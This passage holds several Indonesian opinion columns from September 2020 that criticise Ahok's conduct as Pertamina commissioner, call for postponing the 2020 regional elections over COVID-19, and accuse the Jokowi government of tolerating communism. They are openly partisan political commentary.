dikelola tidak sesuai konstitusi dan aturan. Pertama, dengan pengungkapan tersebut, Ahok telah melanggar prinsip Good Coporate Govemance (GCG). Melanggar etika jabatan dan gagal menjalankan tugas pengawasan. Berbagai kealpaan tersebut, melanggar sejumlah ketentuan dalam Peraturan Pemerintah (PP) Nomor 45/2005 tentang Pendirian, Pengurusan, Pengawasan dan Pembubaran BUMN, Selain itu, Ahok melanggar Permen BUMN Nomor 02/MBU/02/2015 tentang Persyaratan dan Tata Cara Pengangkatan Komisaris dan Permen BUMN Nomor 01/2011 tentang Penerapan GCG. Untuk itu, pemerintah atau Menteri BUMN harus memberikan sanksi tegas kepada Ahok. Kedua, Ahok mengatakan, “saya ini eksekutor, bukan pengawas, sebenarnya. Komisaris di BUMN itu sebetulnya ibarat melewati lewat. Syurga belum masuk. Harusnya Kementerian BUMN itu dibubarkan”. Ini dinilai ketidakpatuhan mengemban tugas sebagai komisaris atau pengawas, dan jumawa dengan klaim kemampuan diri yang justru belum terbukti. Pernyataan Ahok Ini dapat pula diartikan ingin atau sedang menjalankan tugas dan fungsi sebagai direksi. Jimawa merasa diri paling pantas memimpin super holding dengan meminta Kementrian BUMN dibubarkan. Beginilah wujud komisaris yang tidak tau diri. Berprilaku seperti direksi. Ketiga, Ahok membongkar aib itu, dapat dianggap sebagai bukti ketidakmampuan personal. Bukti kalau Ahok lemah secara manajerial atau profesionalitas untuk mengendalikan, meyakinkan atau memaksa direksi menjalankan kebijakan dan perintah Ahok. Dengan membuka aib Pertamina, mungkin diharapkan Ahok akan memperolah dukungan Presiden atau publik, agar kebijakan dan perintah tersebut akhirnya dijalankan. Publik die-hards mungkin saja akan mendukung. Walaupun yang bersangkutan sarat kasus dugaan korupsi. Keempat, di sisi lain, direksi membangkang Ahok bisa disebabkan rasa percaya diri yang tinggi. Karena diback-up oleh oknum-oknum kekuatan besar atau partai lingkar kekuasaan. Mereka bukan saja berani menghadapi Ahok, tetapi juga menteri-menteri atau atasannya. Bisa pula muncul spekulasi, Ahok membuka aib Pertamina setelah konsulasi dengan Presiden. Bahkan bisa pula ada anggapan bahwa Presiden pun tak cukup confident menghadapi oknum-oknum Partai Politik berkekuatan besar tersebut. Karena itu, perlu cara dan dukungan publik untuk menghadapinya. Terkait “kesukaan” berutang dan akuisisi saham migas luar negeri, modus-modus seperti ini lumrah dijalankan oknum-oknum lingkar kekuasaan. Sebab mereka berburu rente besar dalam bisnis Pertamina yang bernilai puluhan miliar dollar Amerika itu. Ada keuntungan besar yang bisa didapat di Pertamina. Oknum penguasa atai Partai Politik ini memanfaatkan BUMN berikut “perangkatnya” untuk berburu rente. Mereka tidak peduli negara, BUMN dan rakyat dirugikan. Jika pro rakyat dan negara, maka berperanlah sebagai The Real President. Jokowi bersama Ahok mestinya berani meredam praktek perburuan rente tersebut. Rakyat butuh pembuktian. Kelima, akibat kebijakan tidak menurunkan harga BBM sejak Maret 2020, selama semester-1 2020, masyarakat konsumen BBM minimal telah dirugikan sekitar Rp 24 triliun. Kerugian ini dihitung berdasarkan Perpres Nomor 191/2014, Perpres Nomor 43/2018 dan sejumlah Kepmen ESDM yang terbit hingga Maret 2020. Sebagai Komisaris Utama, Ahok pun harus ikut bertanggungjawab atas penyelewengan pemerintah yang merugikan konsumen BBM sebesar Rp 24 triliun. Sementara pada kesempatan lain, Ahok mengatakan anggota masyarakat yang dilabel “kadrun” (kadal gurun) akan berdemo jika dia dijadikan Dirut Pertamina. Pernyataan tendensius dan bernuansa permusuhan ini akan dibahas dalam tulisan terpisah. Pemerasan terhadap Pertamina melalui kebijakan signature bonus, energi untuk pencitraan pemilu dan ICP tinggi, serta pemaksaan pada rakyat membeli BBM berharga tinggi saat harga minyak dunia turun, dapat dianggap penyelewengan moral dan hukum yang dilakukan "oknum" (“kubu”) pemerintah. Sementara itu, pembelian lapangan/saham migas luar negeri atau berutang atas nama pengembangan korporasi guna berburu rente juga penyelewengan berkategori sama. Hanya saja, oknum pelakunya berada pada “kubu lain” dalam lingkar kekuasaan. Heboh video Ahok dapat dikatakan sebagai indikator terjadinya “pertarungan” oknum dua kubu untuk memperoleh rente tinggi seputar bisnis besar di Pertamina. Keduanya menjadikan Pertamina sebagai “bancakandan sapi perah”. Seolah badan usaha Pertamina itu milik nenek moyangnya. Mereka menyisakan ironi bagi BUMN dan rakyat. Bahkan rakyat pun harus mensubsidi BUMN yang harusnya mendatangkan manfaat bagi sebesar-besar kemakmuran rakyat. Tampak ada persoalan penting dan strategis di balik pengelolaan Pertamina. Bukan hanya sekedar pernyataan tidak pantas yang dilabeli kontroversial dari Ahok. Atas pembukaan aib Pertamina dan melanggar prinsip GCG, serta gagal melindungi kepentingan publik, maka Ahok harus diberi sanksi. Namun demikian, terkait pelanggaran konstitusi, aturan dan GCG, maka Ahok bersama oknum-oknum jajaran pejabat pemerintah terkait dan lingkar kekuasaan harus diaudit BPK. Mereka juga harus diproses secara hukum oleh lembaga-lembaga penegak hukum yang ada. Demi tegaknya hukum dan keadilan, prilaku semena-mena terhadap Pertamina, dan merasa berada di atas hukum harus dihentikan. Seluruh lembaga yang terkait dengan penegakan hukum, antara lain DPR, BPK dan KPK, dituntut memeroses berbagai dugaan penyelewengan yang terjadi di Pertamina. Berbagai isu di Pertamina menyangkut survival BUMN dan kepentingan ratusan juga rakyat Indonesia. Persoalan ini tidak bisa dianggap selesai hanya dengan pertemuan klarifikasi (17/9/2020) Ahok dengan Ercik Thohir, dan komitmen untuk membangun soliditas tim. Pertamina itu bukan milik penguasa, walau sedang berkuasa. Penulis adalah Direktur Eksekutif IRESS dan Deklarator KAMI.

Pilkada 2020 Dalam Bayangan Kematian

by Tony Rosyid Jakarta FNN – Kamis (24/09). Setiap rezim di negara manapun berada, selalu akan mendengar dan mempertimbangkan suara mayoritas rakyatnya. Ini hukum dalam berpolitik. Mayoritas adalah kekuatan yang menentukan. Kecuali jika kelompok mayoritas rapuh dan berada dalam kendali kekuasaan. Seperti rakyat India yang hindu di era kerajaan Mughol. Untuk di Indonesia, ada dua Organisasi Kemasyarakatan (Ormas) peling besar, yaitu Nahdatul Ulama (NU) dan Muhammadiyah. Pengikut dua Ormas ini sekitar 150 juta sampai 170 juta orang. Dengan ciri, cara, karakter dan klaster yang berbeda, keduanya mewakili suara mayoritas penduduk Indonesia. Rezim sekuat Orde Lama dan Orde Baru sekalipun, kendor ketika dua ormas besar itu "secara resmi" memprotes kebijakannya. Begitu juga rezim-rezim setelahnya. Namun berbeda dengan para rezim pendahulunya, Jokowi cenderung lebih percaya diri dan berani. Tak saja NU dan Muhammadiyah, suara MUI juga nggak didengarkan. Terkait dengan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP), MUI, NU dan Muhammadiyah sudah menyatakan sikap protes dan menolak. Didukung oleh ratusan ormas lainnya, meminta RUU HIP dibatalkan. Cabut dari Program Legislasi Nasional (Prolegnas) Prioritas DPR-RI. Namun tak juga digubris. Baik oleh DPR maupun pemerintah. Tidak saja soal RUU HIP. Baru-baru ini, NU dan Muhammadiyah juga meminta pemerintah menunda Pilkada serentak 9 Desember 2020 nanti. Sebab, rawan terhadap penyebaran virus covid-19 yang akhir-akhir ini semakin menghawatirkan. Tingkat penyebaran yang positif sudah di atas 4.000 orang perhari. Angka kematian juga sudah di atas 100 orang perhari. Sementara pemerintah selama ini tidak cukup bisa dipercaya untuk mampu mengendalikan dan mengatasi penyebaran viruas covid-19. Ini catatan dan fakta yang obyektif. Bukan mereka-reka, mengada-ada atau fitanah sana-sani. Binilah kinerja pemerintah dalam mengendalikan sebaran virus corona. Kerjanya payah dan mengkhatirkan. Tidak bisa diandalkan untuk melindungi rakyat. Meski diprotes banyak pihak, tak ada tanda-tanda Jokowi akan menunda pelaksanaan Pilkada serentak 9 Desember 2020. Berbeda dengan rakyat, pemerintah merasa yakin bahwa penyebaran covid bisa dikendalikan. Karena itu, tidak harus menunda pilkada. Ini perkiraaan yang ngawur dan edun. Belum tahu apa strategi pemerintah, sehingga begitu yakin mampu mengendalikan penyebaran covid-19 saat pilkada. Apakah pemerintah hanya akan mengijinkan kampanye digital via media dan medsos? Atau akan melakukan operasi yustisi di musim kampanye dan saat pencoblosan? Pemerintah harus memberi alasan yang"masuk akal" terhadap perasaan rakyat yang sedang panik dihajar covid-19 gelombang kedua ini. Jangan hanya asal ngebacot. Kalau pejabat pemerintah yang menjadi korban penyebaran virus covid-19, mungkin nggak apa-apa. Tetapi kalau rakyat yang harus menjadi korban, disitu masalah utamanya. Bagitu Pak Presiden. Pertama, pemerintah harus meyakinkan rakyat bahwa Pilkada memang sangat urgent. Karena itu, Pilkada tidak bisa ditunda. Kalau ditunda akan mengakibatkan dampak yang sangat serius. Pemerintah harus menjelaskan "dampak yang sangat serius" yang akan terjadi itu, jika Pilkada ditunda. Jika Pilkada ditunda, maka akan ada 270 Plt kepala daerah. Para Ptl kepala daerah tidak bisa ambil kebijakan strategis. Padahal, saat pandemi dibutuhkan kebijakan strategis, kata Mahfuz MD. Ini alasan yang ngawur, ngaco, dan mengada-ada. Sama sekali tidak meyakinkan. Kalau terpaksa, apa susahnya bikin aturan baru untuk mengatur kewenangan para Plt tersebut? Kedua, pemerintah harus menjamin bahwa penyebaran virus covid-19 tidak akan terjadi saat Pilkada diselenggarakan nanti. Strategi apa yang pemerintah akan lakukan? Perlu segera diungkapkan, agar rakyat bisa percaya dan menjadi tenang. Strategi itu mesti terukur. Bukan tebak-tebak buah semangka. Jika pemerintah nggak mampu memberi dua alasan di atas, atau gagal membeberkan analisis statistik yang meyakinkan, ini sama artinya menantang maut. Wajar jika kemudian rakyat menduga-duga bahwa kebijakan ini diambil lantaran anak dan menantu presiden ikut pilkada. Yaitu Gibran Rakabuming di Kota Solo dan Bobby Nasution di Kota Medan. Alur pikiran rakyat sangat sederhana. Bahwa ongkos (cost) politik untuk menjadi calon kepala daerah itu sangat mahal. Semakin diundur, semakin besar ongkos yang harus dikeluarkan. Padahal Pilkada 2020 sedianya digelar pada 23 September. Lalu diundur menjadi 9 desember 2020. Mau diundur lagi? Ya ampiiuuun, kata para calon. Bandar bisa tekor banyak dong? Jelang Pilkada desember 2020, para calon sudah keluarkan dana cukup besar. Setidaknya untuk bayar mahar partai politik. Biaya survei dan konsolidasi, serta biaya pemanasan kampanye. Kalau ditunda lagi, semua biaya-biaya itu dipastikan akan semakin membengkak. Tentu, semua biaya itu bukan seluruhnya dari kocek pribadi calon. Sekitar 92 persen melibatkan bohir, kata Pak Mahfuz MD. Keterlibatan bohir disini menjadi faktor penting. Sebab, para bohir, terutama kelas kakap, punya akses untuk bisa menekan dan bahkan mengendalikan kebijakan di daerah. Itu baru dana pencalonan. Belum lagi kalau bicara anggaran untuk penyelenggara KPU. Pasti akan ikut bengkak. Di tengah defisit APBN, penundaan pilkada akan membuat negara makin berat saja. Sekarang aja sudah berat. Saking beratnya, bikin aturan baru agar bisa cetak uang. Kalau Pilkada ditunda, itu sampai kapan? Adakah yang menjamin bahwa awal tahun 2021 pandemi nanti, pandemi covid-19 berakhir? Makin lama Pilkada ditunda, makin besar pula biaya yang harus dikeluarkan para calon dan para bohir itu. Dalam pilkada yang berlarut-larut, Herd Imunity berlaku. Tidak saja untuk kesehatan, tapi juga politik. Siapa yang kuat dananya akan besar peluangnya jadi pemenang. Calon yang logistiknya cekak akan megap-megap. Yang menang, bakal balik modal nggak ya? Dilematis memang! Satu sisi ada anak, menantu dan para bohir. Juga pentingnya menyelamatkan negara dari defisit anggaran. Disisi lain, nyawa rakyat terancam virus covid-19. Sebagai seorang negarawan, Jokowi mestinya tak perlu terjebak dalam dilema itu. Utamakan saja nyawa rakyat. Begitu harusnya tugas seorang negarawan. Kecuali jika ingin jadi pecundang. Kalau dari awal pandemi covid-19, Jokowi punya pilihan dan ketegasan keberpihakan pada nyawa rakyat, maka tak perlu banyak jiwa melayang. Juga tidak perlu alami resesi ekonomi berkepanjangan. Artinya, kebijakan pemerintah selama ini keliru menaruh pilihan. Sebelum pemerintah memiliki keyakinan mampu menjamin keselamatan rakyat dari ancaman virus covid-19 akibat kerumunan kampanye dan pencoblosan di Pilkada, maka menunda itu jauh lebih bijak. Ini sekaligus sebagai langkah akomodatif terhadap harapan rakyat, yang diantaranya disuarakan oleh dua Ormas besar NU dan Muhammadiyah. Jika Pilkada dipaksakan, dan terbukti nanti terbentuk cluster penyebaran, maka pemerintah, dalam hal ini Jokowi, akan semakin defisit kepercayaan. Apalagi bila pasca pilkada nanti, jumlah terinfeksi makin banyak dan angka kematian akibat covid-19 bertambah, ini bisa jadi anti klimaks di tengah krisis ekonomi yang sedang melanda. Saat itulah, nasib Jokowi akan menjadi taruhan. Sebaiknya pertimbangkan itu baik-baik. Menyesal kemudian tidak ada gunannya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Mengapa Rezim Dituduh Membuka Pintu Komunisme ?

by M Rizal Fadillah Bandung FNN- Kamis (24/09). Publik kini menyorot kinerja Pemerintahan Jokowi sebagai rezim yang membuka pintu komunisme. Tentu saja agak aneh sorotan ini. Sebab bukankah Ketetapan MPRS Nomor XXV/MPRS/1966 masih dinyatakan berlaku ? PKI itu adalah organisasi terlarang . Untuk mitu, terlarang pula menyebarkan faham Komunisme dan Marxisme/Leninisme di Indonesia. Persoalan muncul, dikarenakan sejak Pak Jokowi menjabat Presiden tidak satu patah katapun yang terucap bahwa PKI dan Komunisme itu ada dan atau mengancam. Sementara masyarakat, khususnya umat Islam merasakan aroma keberadaan pengembangan faham komunis terlarang ini. Bahkan dengan nada menantang, Pak Jokowi pernah meminta agar tolong ditunjukkan keberadaan PKI. Upaya untuk mencabut Ketetapan MPRS No XXV tahun 1966 pun ada meski dengan alasan bahwa aturan tersebut "out of date". Ada yang secara terang-terangan merasa bangga sebagai anak keturunan dari PKI. Pembelaan bahwa PKI itu korban. Simbol PKI palu arit juga marak di masyarakat. Terasa ada geliat rehabilitasi dan tuntutan rekonsiliasi. Panglima TNI waktu itu Jenderal Gatot Nurmantyo mensinyalir akan kebangkitan PKI dan Komunisme ini. Buku-buku kiri dibaca oleh para aktivis, dan partai kiri pun muncul. Kehadiran PRD (Partai Rakyat Demokratik) mengingatkan keberadaan FDR (Front Demokratik Rakyat) bentukan Muso. Kemudian "diaspora" aktivis kiri yang menyebar ke berbagai partai politik dengan indikasi terbanyak ke PDIP. Sebagai "the rulling party", pantas partai ini menjadi sorotan atas perilaku penguasa. Munculnya Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) membawa efek pada bongkar-bongkar. Pengusul awal RUU HIP ini adalah Rieke Dyah Pitaloka. Akhirnya diketuk oleh Puan Maharani Ketua DPR-RI sebagai RUU Hak Usul Inisiatif DPR-RI. Setelah menghadapi gempuran hebat, khususnya dari umat Islam, maka RUU berbau komunis tersebut akhirnya ditunda oleh Pemerintah. Bukan dicabut dari Program Legislasi nasional (Proglegnas) prioritas DPR-RI. Bola kemudian diambil oleh Pemerintah, dengan mengajukan RUU Badan Pembinaan Ideologi Pansila (BPIP) yang platformnya masih berspirit RUU HIP. Kekusutan dan kepanikan dalam memaksakan aturan semakin nyata. Ternyata rezim adalah paduan Pemerintah dengan DPR yang terkooptasi. Mengambangkan status kedua RUU menambah kuat sorotan dan tuduhan bahwa pintu komunisme ingin tetap dibuka. Sikap Presiden adalah ajuan lagi RUU ke DPR. Manuver kader dalam membela kader PKI yang menjadi korban. Serangan masif terhadap Soeharto, dan kriminalisasi aktivis yang anti PKI. Hubungan yang erat dengan PKC, serta berbagai pernyataan keprihatinan para purnawirawan TNI menjadi sinyal akan keberadaan gerakan Neo PKI dan faham Komunisme. Sementara Pemerintah terlihat abai dalam memberi "warning" kepada rakyat. Pemuliaan agama merosot. Tuduhan terhadap intoleransi dan radikalisme dialamatkan kepada umat beragama, khususnya umat Islam dinilai berlebihan dan mencurigakan. Ada disain kekuatan komunisme berada dibelakang tuduhan tersebut. Agama yang diganggu dan dikacaukan stabilitasnya. Agar rezim tidak dituduh membuka pintu bagi bangkitnya PKI, dan pengembangan faham Komunisme dan Marxisme, maka penting empat langkah. Pertama, berpidato lah Presiden untuk memberi peringatan akan bahaya Neo PKI dan faham Komunisme. Kedua, cabut segera RUU HIP dan RUU BPIP serta bubarkan BPIP. Ketiga, pulihkan hubungan Pemerintah dengan umat Islam. Sadari bahwa Ulama dan pemuka agama adalah sokoguru bangsa ini. Keempat, kembali kepada politik luar negeri bebas aktif. Pembangunan poros Jakarta-Beijing harus dihentikan. TKA Cina segera dipulangkan. Keempat, Pancasila sebagai konsensus tidak perlu direinterpretasi atau diotak-atik lagi. Jangan tonjolkan Pancasila versi tanggal 1 Juni 1945, karena itu hanya memancing konflik dan kegaduhan. Sebab itu hanya akan berakibat pada instabilitas politik bangsa. Pancasila tanggal 18 Agustus 1945 sudah final. Karenanya tinggal pelaksanaan atau pengamalan saja. Fahami itu baik-baik. Pemerintahan Jokowi harus menyadari pandangan rakyat pada rezimnya. Ubahlah pandangan buruk dengan bukti perubahan sikap, kinerja, dan budaya politik baru yang lebih memuliakan rakyat dan umat beragama, khususnya umat Islam. Bukan sebaliknya. Menjadikan umat Islam sebagai musuh adalah program PKI dan faham komunis dahulu dan sekarang ini. PKI sudah berubah bentuk dari waktu ke waktu. Kadang tidak terlihat, tetapi aroma busuknya tercium sangat menyengat. Perhatikan itu baik-baik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Tunda Itu Pilkada, "Keselamatan Rakyat Hukum Tertinggi"

by Dr. Ahmad Yani SH. MH. Jakarta FNN – Rabu (23/09). Meminjam istilah Cicero, filsuf berkebangsaan Italia, “salus populi suprema lex esto”. Artinya, keselamatan rakyat merupakan hukum tertinggi bagi suatu negara. Konsep itu juga tertuang dalam konstitusi atau UUD Negara Republik Indonesia 1945. Yaitu “melindungi segenap bangsa dan tumpah darah Indonesia”. Peneyenggara negara harusnya pahami itu baik-baik. Hal itu sudah menjadi kaidah filosofis yang hidup dalam kehidupan bangsa Indonesia. Karena itu, tugas konstitusional negara adalah menyelamatkan rakyat Indonesia. Dalam konteks inilah pemerintah mengkaji pelaksanaan Pilkada serentak tahun 2020. Setelah itu menundanya. Juru bicara Istana, Fajroel Rahman memastikan pilkada akan tetap diselenggarakan. Meski desakan berbagai organisasi masyarakat agar menunda pilkada terus mengalir. Alasannya, pelaksanaan Pilkada untuk memastikan hak konstitusional warga negara. Fajroel ingin membenturkan antara keselamatan warga negara dan hak konstitusional warga negara. Padahal hak keselamatan jiwa itu juga merupakan hak konstitusional warga negara. Rapat bersama antara Komisi II DPR, Kementerian Dalam Negeri, Komisi Pemilihan Umum (KPU), Badan Pengawas Pemilu (Bawaslu), dan Dewan Kehormatan Penyelenggara Pemilu (DKPP) sepakat tidak ada penundaan Pilkada serentak 2020. Pilkada tetap akan dilaksanakan pada 9 Desember 2020. Hal ini mengabaikan masukan dari masyarakat. Ciri negara kekuasaan. Sebelum keputusan diambil, penolakan telah datang dari berbagai pihak. Seperti dari Muhammadiyah dan NU yang menyatakan sikap. Juga memberikan masukan kepada pemerintah untuk serius mengatasi Pandemi corona. Menyarankan agar Pilkada serentak 2020 ditunda dulu. Sepertinya, sikap NU dan Muhammadiyah tak menjadi pertimbangan dalam memutuskan pilkada dilanjut atau tidak. Selain dua organisasi raksasa itu, ada Koalisi Aksi Menyelamatkan Indonesia (KAMI), Perludem dan Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang juga menyarankan agar pilkada 2020 ditunda. Alasanya serentak, karena pandemi covid-19 semakin meningkat dan penyebarannya sudah semakin mengkhawatirkan. Laju pergerakan covid-19 demikian dahsyat, hingga menteri agama Fachrul Razi dan Menteri Kelautan Edhy Prabowo positif terpapar. Komisioner KPU RI sendiri sudah dua orang dinyatakan positif Covid 19. Penyebaran diberbagai daerah juga menunjukan angka yang signifikan. Sebagian besar daerah menggambarkan laju penyebaran covid-19 yang meningkat. Belum lagi seperti yang dikatakan ketua KPU Arief Budiman. Sebanyak 37 Bakal Calon Kepala Daerah positif covid-19 Ini masalah serius Pak Presiden. Sebab keselamatan warga negara terancam. Sementara pilkada yang merupakan pesta demokrasi tetap digelar. Yang namanya pesta, mau tidak mau orang akan tetap berkumpul ramai dan ini mempercepat laju penyebaran covid-19. Meski pemerintah tetap pada pendirian untuk melanjutkan Proses Pilkada hingga pencoblosan 9 Desember nanti, namun masih ada harapan bagi masyarakat untuk terus memberikan masukan yang benar kepada Pemerintah untuk mengambil opsi lain. Meski sudah ada persetujuan bersama DPR, Pemerintah dan penyelenggara pemilu. Katro dan bebal. Tanggapan positif pemerintah datang jua. Adalah Tenaga Ahli Kantor Staf Presiden Donny Gahral Adian memberikan harapan itu. Dalam pernyataan medianya memastikan, Presiden Joko Widodo mendengar serta mempertimbangkan usulan penundaan Pilkada Serentak 2020 yang disampaikan Pengurus Besar NU dan Pimpinan Pusat Muhammadiyah. Walaupun Rapat bersama di DPR, sudah memutuskan, namun Mempertimbangkan dua masukan dari organisasi Besar itu tentu prioritas bagi presiden. Itu bukan sekedar masukan. Ini lebih substansial, yaitu melindungi segenap tumpah darah Indonesia. Ditengah kepungan pandemi, negara berkewajiban melindungi warga negara. Hal tersebut menjadi landasan sosiologis bagi pemerintah, DPR dan KPU untuk tidak melanjutkan pilkada. Masyarakat menghendaki pelaksanaan Pilkada 2020 ditunda. Sebab alasannya, Covid-19 belum teratasi dan pemerintah diminta untuk melakukan upaya pencegahan covid ketimbang melaksanakan pilkada yang berpotensi menjadi klaster covid19. Secara Hukum Opsi penundaan pun secara hukum sudah diatur dalam Undang-undang Nomor 6 Tahun 2020 tentang pemilihan Gubernur, Bupati dan Walikota. Pasal 201A ayat (3) memberikan opsi bahwa apabila bencana non alam (Pandemi Covid 19) belum berakhir, Pilkada bisa ditunda dan dijadwalkan kembali segera setelah bencana non alam berakhir. Payung hukum penundaan jelas sebagai acuan pemerintah. Selain itu, pilkada dalam situasi Pendemi bisa berakibat kurangnya pengawasan tahap pelaksanaan Pilkada. Ini menyebabkan semakin tertutupnya proses pelaksanaan. Karena itu, dalam menghadapi situasi yang demikian, sudah menjadi kaidah hukum bahwa setiap keputusan harus didasarkan pada akuntabilitas dan transparansi. Tanpa itu, akan melahirkan proses demokrasi yang lebih condong pada kepentingan oligarki dan dinasti kekuasaan. Pilkada hanya untuk mengejar kekuasaan sematar. Akibatnya, banyak tanggapan yang bermunculan, termasuk dari Mahfud MD yang menyebut pilkada dibiayai 82% oleh cukong. Angka itu memperlihatkan ada kepentingan besar oligarki dan korporasi memegang kendali dalam demokrasi. Maka apabila pilkada diteruskan, kemudian proses pelaksanaannya tidak terbuka, tidak menutup kemungkinan kekuatan oligarki dan korporasi akan berada dalam posisi puncak di Pilkada. Oleh sebab itu menunda Pilkada adalah jalan yang paling bijak untuk menyelamatkan demokrasi, dan hak konstitusional warga negara. Namun ada konsekuensi hukum lain apabila pilkada ditunda, yaitu berakhirnya masa jabatan Gubernur, Bupati dan Walikota dibeberapa daerah akibat penundaan itu. Polemik ini muncul setelah ada desakan penundaan Pilkada. Perlu saya jelaskan sedikit tentang masalah pelaksana tugas (Plt), pejabat sementara (Pjs), pelaksana harian (Plh) dan pejabat (Pj) kepala daerah. Keempat istilah itu memiliki makna yang berbeda. Namun secara hukum apabila kepala daerah dalam hal ini Gubernur, Bupati dan Walikota berserta wakilnya sama-sama maju, maka mereka wajib cuti. Apabila keduanya cuti, maka diganti oleh Plt, Pjs dan Plh. Namun apabila kepala daerah berakhir masa jabatannya, dan belum ada kepala daerah yang baru, maka pejabat (Pj) yang akan mengisi kekosongan itu sampai menunggu kepala daerah diisi oleh pejabat tinggi madya. Pejabat tinggi madya di berbagai daerah di indonesia cukup banyak untuk mengisi kekosongan pemerintah daerah, apabila di berbagai daerah mengalami penundaan Pilkada dan kepala daerah telah selesai masa jabatannya. Hal seperti ini lazim dilakukan, apabila terjadi kekosongan, maka yang mengisi adalah Pj. Seperti juga ketika ada daerah yang melakukan pemekaran, pasti ditunjuk Pj kepala daerah untuk melaksanakan tugas-tugas pemerintahan. Karena itu, tidak ada alasan yang substansial tidak menunda Pilkada. Kalau alasannya hanya karena banyak kepala daerah selesai masa jabatan, tentu saja itu bukan menjadi alasan yang perlu dicari-cari. Sebab UU Nomor 10 Tahun 2016 tentang Pemilihan Kepala Daerah, sudah mengatur pergantian seperti itu. Perbaiki Sistem Pilkada Saya berpendapat, bahwa penundaan Pilkada menjadi momentum untuk memperbaiki sistem pemilihan kepala daerah. Kita punya sejarah pada masa pemerintahan Susilo Bambang Yudhoyono untuk merubah sistem pemilihan kepala daerah. Dari pemilihan langsung menjadi pemilihan tidak langsung atau lewat DPRD. Meski SBY sendiri yang akhirnya membatalakn UU yang baru diundangkan dengan Perppu. Pembatalan itu hanya karena desakan dari beberapa pengamat dan lembaga survey. Yang lebih ironis lagi, DPR menyetujui Perppu yang diajukan SBY Tersebut. Padahal tidak ada perintah konstitusi untuk melaksanakan pilkada secara langsung. UUD hanya menyebutkan Pemilihan Kepala Daerah dilakukan secara demokratis. Demokratis itu artinya bisa secara langsung. Namun bisa juga melalui DPRD. Bahkan kalau kita ambil contoh di Daerah Istimewa seperti Yogyakarta, Gubernur diangkat melalui garis keturunan dan itu berlaku dalam sistem negara Indonesia. Atau kita lihat contoh di DKI Jakarta, Walikota dan Bupati diangkat oleh Gubernur berdasarkan pangkat eselon. Karena itu, Ditengah Pendemi ini saya kira dengan pemilihan langsung, sangat rentan penularan penyakit. Selain itu, juga rentan terhadap permainan oligarki. Seperti yang diungkapkan di atas, sebagian besar pilkada dibiayai pemodal. Lebih khusus lagi pilkada di daerah-daerah uang memiliki banyak sumber daya alam seperti Kalimantan Selatan, Kalimatan Timur, Sultera, Lampung, dan Maluku Utara. Dengan memberikan akses pemilihan langsung, maka biaya menjadi mahal. Akibatnya, biaya politik yang mahal itu, kepala daerah yang memenangkan pilkada akan berutang kepada cukong-cukong. Tetapi dengan pemilihan kembali ke DPRD, kita rakyat dapat melakukan pengawasan langsung dengan menggunakan lembaga penegak hukum. Biaya politik pun kecil. Potensi retak ditengah masyarakat juga menjadi kecil. Potensi penyebaran virus juga menjadi kecil. Sebab tidak ada pesta. Tidak ada kampanye akbar. Tidak ada konvoi orang dan kedaraan. Singkatnya, tidak lagi ada kerumunan massa. Dengan adanya penundaan ini, pemerintah bisa mengkaji atau mungkin mengeluarkan Perppu pemilihan kepala daerah lewat DPRD. Sebagai penutup, etidaknya ada bebeapa alasan kenapa pilkada ditunda. Pertama, negara menjaga dan menjamin hak konstitusional rakyat tidak dirampas oleh kepentingan dan hasrat politik elit. Sebab Pilkada Ditengah pandemi sangat rentan terhadap keselamatan. Kedua, Pilkada sebagai ajang untuk mencari pemimpin yang bersih, jujur dan amanah serta adil. Tidak bisa dilaksanakan secara tertutup. Sebab itu akan memberi jalan bagi oligarki dan korporasi untuk mengambil kesempatan dalam pandemi. Ketiga, penundaan Pilkada bertujuan agar pemerintah konsentrasi menghadapi hantaman penyakit yang berefek hingga ke masalah ekonomi dan kesehatan. Efek besar ini tidak bisa diatasi dengan cara yang sederhana. Melainkan harus dengan cara yang serius. Keempat, anggaran dan biaya pilkada bisa dioptimalkan untuk menghadapi pandemi selama beberapa bulan kedepan. Sebab di tengah ancaman ekonomi dan kesehatan, kita juga menghadapi ancaman resesi yang dapat menjelaskan indonesia ke jurang krisis ekonomi. Kalau itu terjadi, maka krisis politik dan krisis sosial bisa terjadi lebih besar. Kelima, dengan penundaan Pilkada, pemerintah masih memiliki pejabat yang dapat mengisi kekosongan jabatan (Pj) kepala daerah. Mereka yang akan melaksanakan tugasnya sampai dilakukan pelantikan kepala daerah yang baru nantinya. Kelima, pemerintah dalam hal ini DPR dan presiden, dengan menunda pilkada, memiliki kesempatan untuk untuk mengkaji ulang sistem pemilihan kepala daerah yang potensi penyebaran covidnya kecil. Seperti pemilihan kepada Daerah melalui DPRD. Selain potensi penyebaran covidnya kecil, pemilihan melalui DPRD juga menghemat biaya pilkada dan memperkecil biaya politik paslon. Itulah sekilas pandangan saya untuk meminta pemerintah menunda pilkada ini. Wallahualam bis shawab. Penulis adalah Koordinator Komite Eksekutif KAMI, Dosen FH dan FISIP UMJ.

Pilkada & Label Jokowi Inkompeten dari The Economist

by Jusman Dalle Jakarta FNN - Rabu (23/09). Majalah ekonomi papan atas dunia, The Economist melabeli Joko Widodo tidak kompeten menangani krisis Covid. Dalam laporannya yang terbit akhir Agustus, The Economist membagi empat kluster pemimpin dunia dalam merespons krisis Covid-19. Kluster pertama, mereka yang menyangkal ada masalah. Seperti Gurbanguly Berdymukhamedov dari Turkmenistan, yang mendenda rakyatnya karena memakai masker. Meski kemudian kebijakan itu diervisi. Wajib masker dengan alasan agar tidak menghirup debu. Aneh! Kelompok kedua, yaitu para kepala negara yang mengakui ancaman Covid-19. Melawannya dengan upaya maksimum dan keras. Relatif berhasil. Meski cenderung mengabaikan kebebasan sipil. Hal ini misalnya dilakukan Xi Jinping di Tiongkok, dan Nguyễn Phú Trọng di Vietnam. Kelompok ketiga, mencakup sebagian besar negara demokrasi. Berusaha kompromi. Antara menangani virus, dan tetap menimbang segala dampak sosial ekonominya. Kelompok keempat, para kepala negara yang mencoba bertindak keras. Namun melakukannya dengan tidak kompeten. Di kluster terakhir inilah Presiden Joko Widodo ditempatkan. Kebijakan yang tidak solid sejak awal, memperburuk Covid-19 di Indonesia. Keinginan memaksakan Pilkada, dipastikan bakal memperparah keadaan. Rencana Pilkada ini, persis langkah tergesa-gesaan pemerintah menggenjot ekonomi. Padahal para pakar lintas disiplin ilmu secara tidak tertulis bersepakta pada satu diktum. Ekonomi hanya bisa jalan jika pandemi terkendali. Sebetulnya, pemerintah menyadari salah langkah. Namun bukannya menahan 